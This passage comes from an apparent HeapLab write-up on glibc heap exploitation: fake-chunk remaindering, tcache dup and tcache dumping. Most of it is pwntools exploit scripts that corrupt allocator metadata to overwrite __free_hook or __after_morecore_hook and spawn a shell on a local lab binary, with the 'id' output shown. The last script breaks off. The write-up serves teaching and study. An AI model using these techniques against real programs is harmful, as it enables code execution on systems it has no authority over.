<li>Consolidate the fastbins into the unsortedbin by freeing a large chunk (any chunk that gets consolidated with this chunk counts towards the size)</li>
<li><span class="org-target" id="org-target--step-4"></span> Set the fake chunk&rsquo;s size field to <code>0x80000</code> or higher</li>
<li>Allocate a chunk large enough to sort the largest largebin</li>
<li>Set the fake chunk&rsquo;s size to be large enough to overlap target data (wrapping around after <code>0xffffffffffffffff</code> if target data is before the fake chunk)</li>
<li>Allocate a chunk with a size such that the fake chunk is remaindered into a much smaller chunk that overlaps the target data</li>
<li>Allocate a chunk with size equal to the chunk remaindered from the fake chunk</li>
<li>Profit</li>
</ol>
<h3 id="solve">Solve</h3>
<p>Here we&rsquo;re using a double free to link our fake chunk into a fastbin, but we could skip steps <a href="/writeups/heaplab/#org-target--step-2">2</a>–<a href="/writeups/heaplab/#org-target--step-4">4</a> if we were able to directly link a size <code>0x80000</code> fake chunk into the unsortedbin.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#f78fe7">bin</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit_age</span>(data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;age: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>data<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">150</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>fastbin_consolidation_threshold <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0x10000</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your age: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span><span style="color:#00bcff">0</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_A <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x80000</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span>)
</span></span><span style="display:flex;"><span>free(chunk_A) <span style="color:#a8a8a8"># increase mmap_threshold</span>
</span></span><span style="display:flex;"><span>chunk_B <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x80000</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;B&#34;</span>) <span style="color:#a8a8a8"># increase main_arena.system_mem</span>
</span></span><span style="display:flex;"><span>free(chunk_B)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_C <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;C&#34;</span>)
</span></span><span style="display:flex;"><span>chunk_D <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;D&#34;</span>)
</span></span><span style="display:flex;"><span>chunk_E <span style="color:#00d3d0">=</span> malloc(fastbin_consolidation_threshold<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;E&#34;</span>)
</span></span><span style="display:flex;"><span>free(chunk_C)
</span></span><span style="display:flex;"><span>free(chunk_D)
</span></span><span style="display:flex;"><span>free(chunk_C)
</span></span><span style="display:flex;"><span>chunk_F <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span>free(chunk_E) <span style="color:#a8a8a8"># consolidate fastbins</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>edit_age(<span style="color:#00bcff">0x80000</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>)
</span></span><span style="display:flex;"><span>chunk_G <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x80010</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;G&#34;</span>) <span style="color:#a8a8a8"># sort bin[126]</span>
</span></span><span style="display:flex;"><span>free_hook_offset <span style="color:#00d3d0">=</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>) <span style="color:#00d3d0">-</span> elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user
</span></span><span style="display:flex;"><span>edit_age((free_hook_offset <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0x98</span>) <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_H <span style="color:#00d3d0">=</span> malloc(free_hook_offset, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system))
</span></span><span style="display:flex;"><span>free(chunk_H)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h4 id="no-fastbins">No fastbins</h4>
<p>This is the same challenge, except we can no longer request fastbin sized chunks.</p>
<p>I initially tried setting the size of the fake chunk such that when it was remaindered, the remaindered chunk&rsquo;s size field would overlap with <kbd>__free_hook</kbd> and be set to <kbd>libc.sym.system</kbd>.
However, although <kbd>__free_hook</kbd> can be overwritten this way, the program will segfault immediately afterwards when it tries to access a value just past the remaindered chunk.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#a8a8a8"># ...</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># step 6: allocate a chunk large enough that remaindering it will overwrite the __free_hook with a target value</span>
</span></span><span style="display:flex;"><span>free_hook_offset <span style="color:#00d3d0">=</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>) <span style="color:#00d3d0">-</span> elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user
</span></span><span style="display:flex;"><span>edit_age(free_hook_offset <span style="color:#00d3d0">+</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>do_system<span style="color:#00d3d0">+</span><span style="color:#00bcff">1</span>) <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0x7</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_M <span style="color:#00d3d0">=</span> malloc(free_hook_offset, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>) <span style="color:#a8a8a8"># __free_hook = size of remaindered chunk</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># CRASH! (ノ°益°)ノ</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># free(chunk_M)</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># proc.sendline(b&#34;id&#34;)</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># print(proc.recvline())</span></span></span></code></pre></div>
</details>

<p>Instead I targeted <kbd>__after_morecore_hook</kbd>, which thankfully satisfies the conditions for a one_gadget.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#a8a8a8"># ...</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># step 6: allocate a chunk large enough such that remaindering it will create a free chunk overlapping __after_morecore_hook</span>
</span></span><span style="display:flex;"><span>after_morecore_offset <span style="color:#00d3d0">=</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__after_morecore_hook <span style="color:#00d3d0">-</span> <span style="color:#00bcff">0x20</span>) <span style="color:#00d3d0">-</span> elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user
</span></span><span style="display:flex;"><span>edit_age((after_morecore_offset <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0xa0</span>) <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(after_morecore_offset, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;M&#34;</span>)
</span></span><span style="display:flex;"><span>one_gadget <span style="color:#00d3d0">=</span> libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0x3ff5e</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(one_gadget))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60010</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&#34;</span>) <span style="color:#a8a8a8"># trigger __after_morecore_hook</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h2 id="tcache-dup">Tcache dup</h2>
<p><em>From this point on, glibc ≷ 2.26 will be compiled with tcache enabled</em></p>
<p>This is essentially the same as the fastbin dup, except even easier as <kbd>free</kbd> doesn&rsquo;t check if the chunk being freed is already at the head of the tcachebin, and there are absolutely no sanity checks on what constitutes a valid fake chunk.</p>
<h3 id="solve">Solve</h3>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;tcache_dup&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_A <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span>)
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook))
</span></span><span style="display:flex;"><span>chunk_C <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system))
</span></span><span style="display:flex;"><span>free(chunk_C)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h2 id="tcache-dumping">Tcache dumping</h2>
<p>When servicing a request from a fastbin, malloc will attempt to move as many remaining chunks in that fastbin that will fit into the corresponding tcachebin.</p>
<h3 id="solve">Solve</h3>
<p>There&rsquo;s now a check in <kbd>free</kbd> that ensures a chunk being freed isn&rsquo;t already in the target tcachebin, so we can&rsquo;t just do a simple tcache dup.
However, chunks that are dumped from a fastbin to a tcachebin are not subject to this check, so if we can corrupt a fastbin <kbd>fd</kbd> we should be in good shape.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;tcache_dup_2.31&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># fill tcache</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">for</span> i <span style="color:#00d3d0">in</span> <span style="color:#f78fe7">range</span>(<span style="color:#00bcff">7</span>):
</span></span><span style="display:flex;"><span>    malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span><span style="color:#f78fe7">chr</span>(<span style="color:#f78fe7">ord</span>(<span style="color:#79a8ff">&#39;A&#39;</span>)<span style="color:#00d3d0">+</span>i)<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>chunk_H <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;H&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">for</span> i <span style="color:#00d3d0">in</span> <span style="color:#f78fe7">range</span>(<span style="color:#00bcff">7</span>):
</span></span><span style="display:flex;"><span>    free(i)
</span></span><span style="display:flex;"><span>free(chunk_H)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 fastbin: [chunk H]</span>
